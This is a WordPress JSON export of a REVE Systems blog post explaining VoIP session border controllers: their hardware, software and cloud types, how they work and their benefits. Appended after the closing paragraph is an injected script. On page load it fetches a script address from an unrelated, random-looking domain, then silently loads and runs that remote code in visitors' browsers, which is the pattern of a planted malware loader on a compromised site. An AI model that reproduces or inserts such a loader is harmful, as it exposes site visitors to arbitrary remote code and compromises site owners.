{"id":2747,"date":"2021-12-28T12:42:27","date_gmt":"2021-12-28T12:42:27","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=2747"},"modified":"2025-09-05T11:27:17","modified_gmt":"2025-09-05T11:27:17","slug":"what-is-session-border-controller","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/","title":{"rendered":"What is Session Border Controller (SBC) &#8211; A Quick Guide"},"content":{"rendered":"<p>VoIP is the most widely used standard in the communication industry due to various reasons such as more flexibility, scalability, less complexity and cost-effectiveness. However, just as with any technology, VoIP has its own set of challenges. Besides quality of communication, security is one of the primary concerns in the IP infrastructures, but thanks to Session Border Controllers that not only improve the quality of the conversations but also act like firewalls to the VoIP networks, i.e. ensure security as well.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4f58f26a5\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4f58f26a5\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#What_is_Session_Border_Controller\" title=\"What is Session Border Controller?\">What is Session Border Controller?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#Session\" title=\"Session\">Session<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#Border\" title=\"Border\">Border<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#Controller\" title=\"Controller\">Controller<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#Types_of_Session_Border_Controller\" title=\"Types of Session Border Controller\">Types of Session Border Controller<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#Hardware_based_SBC\" title=\"Hardware based SBC\">Hardware based SBC<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#Software_based_SBC\" title=\"Software based SBC\">Software based SBC<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#Cloud_Based_SBC\" title=\"Cloud Based SBC\">Cloud Based SBC<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#How_Do_Session_Border_Controllers_Work\" title=\"How Do Session Border Controllers Work?\">How Do Session Border Controllers Work?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#Benefits_of_Session_Border_Controller\" title=\"Benefits of Session Border Controller\">Benefits of Session Border Controller<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#Better_Connectivity\" title=\"Better Connectivity\">Better Connectivity<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#Security\" title=\"Security\">Security<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#Quality_of_Service\" title=\"Quality of Service\">Quality of Service<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#Business_Continuity\" title=\"Business Continuity\">Business Continuity<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/#Final_Words\" title=\"Final Words\">Final Words<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"What_is_Session_Border_Controller\"><\/span>What is Session Border Controller?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>A Session Border Controller or SBC is a network element (it can be a dedicated hardware or a software) that sits at the perimeter of a VoIP network. SBC is designed to regulate the signals that pass through the VoIP network and in doing so an SBC ensures security and quality of service (QoS) for all the communication streams within the VoIP network.<\/p>\n<p>To understand what is session border controller in an easy way, we shall break\u00a0the terminology into three simple parts: Session, Border, and Controller. Let\u2019s take a look at each of them one by one:<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Session\"><\/span>Session<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>A session is basically the communication that happens between two parties, which is usually a phone call. It carries the signaling message of the call in its first stream and the second stream carries the audio, video and other information such as call statistics and quality of the exchange.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Border\"><\/span>Border<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Just as the term indicates, a border is the boundary that allows flow of data from the internet into the network while validating the security and filtering regulations.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Controller\"><\/span>Controller<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Lastly, the controller does the job of influencing data streams and sessions as they happen over the network.<\/p>\n<p>So, in simple words, a session border controller is a network function that controls and regulates all forms of real-time communication sessions that happens over SIP based VoIP infrastructures.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Types_of_Session_Border_Controller\"><\/span>Types of Session Border Controller<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Hardware_based_SBC\"><\/span>Hardware based SBC<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Here the dedicated hardware based SBC device remains onsite i.e. it is installed and managed by the business itself.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Software_based_SBC\"><\/span>Software based SBC<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>A\u00a0<a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/importance-virtual-session-border-controller\/\" target=\"_blank\" rel=\"noopener\">Session Border Controller Software<\/a> is a software application that runs on the top of a virtualization platform that imitates the function of hardware computing systems\/devices.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Cloud_Based_SBC\"><\/span>Cloud Based SBC<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Cloud based SBCs are software applications that are hosted in the cloud and can be easily implemented without any need of on-site equipment.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_Do_Session_Border_Controllers_Work\"><\/span><strong>How Do Session Border Controllers Work?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>There are several functionalities performed by an SBC for VoIP security, as mentioned below:<\/p>\n<p>Today, SBCs are mainly involved in securing SIP infrastructures, though it also performs the function of a traffic manager and data carrier. Acting both as a User Agent Server (UAS) and User Agent Client (UAC) for each session through termination and re-establishment, an SBC holds a granular level control over the communication sessions. In order to prevent DdoS attacks, SBCs remove malformed packet exploits by making use of Access Control Lists (ACL) and Rate Limiting as it parses each message.<\/p>\n<p>Most of the SBCs enable interoperability across different vendors to efficiently mediate SIP communication known as SIP Normalization which makes sure that signaling instructions and messages are communicated properly. For an easy understanding, an SBC can be considered as a security agent that stands at the gate of a customs station whose job is to inspect everyone going in and out along with the baggage they carry.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Benefits_of_Session_Border_Controller\"><\/span>Benefits of Session Border Controller<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>There are several roles played by session border controllers when used in the telecom industry. Let\u2019s have a look:<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Better_Connectivity\"><\/span>Better Connectivity<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>SBCs have brought the concept of connectivity to a whole new level. With SBCs in place, a business need not to depend on traditional separate phone lines as their traffic is routed through internal IPs, saving them a lot of money and time.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Security\"><\/span>Security<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Since cyber attackers and hackers are adopting modern-day sophisticated techniques, it becomes essential to back your business\u2019s systems with some extra layer of protection. In case of <a href=\"https:\/\/www.revesoft.com\/products\/reve-session-border-controller\" target=\"_blank\" rel=\"noopener\">Session Border Controller<\/a>, service providers regularly update protocols to ensure systems are not breached. Businesses just need to implement these updates to stay safe from attacks and infections.<strong>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/strong><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Quality_of_Service\"><\/span>Quality of Service<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>SBCs ensure efficient and smooth flow of VoIP traffic through intelligent call routing in which optimal route for a call to reach its final destination is selected. Businesses who experience poor call quality and call dropping can significantly benefit from SBC integration.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Business_Continuity\"><\/span>Business Continuity<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Infected systems can remain down for an unknown amount of time, disrupting business operations and loss in terms of time and money. However, with SBCs in place, VoIP systems remain safe from cyber infections leading to more uptime to conduct business.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Final_Words\"><\/span>Final Words<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>By now, you must have been clear with what is session border controller and why it is used by businesses for VoIP networks. Given the demand for more security and enhanced customer experience along increase in adoption of IP communication platforms, Session Border Controllers are going to make a long lasting presence. At REVE Systems, we understand the need of a robust and reliable SBC for upgradation of your business communication. Give us a call or get in touch to let us help you.<script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>VoIP is the most widely used standard in the communication industry due to various reasons such as more flexibility, scalability, less complexity and cost-effectiveness. However, just as with any technology, VoIP has its own set of challenges. Besides quality of communication, security is one of the primary concerns in the IP infrastructures, but thanks to [&hellip;]<\/p>\n","protected":false},"author":19,"featured_media":2751,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[74],"tags":[],"class_list":["post-2747","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sbc"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2747","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=2747"}],"version-history":[{"count":8,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2747\/revisions"}],"predecessor-version":[{"id":6464,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2747\/revisions\/6464"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/2751"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=2747"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=2747"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=2747"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}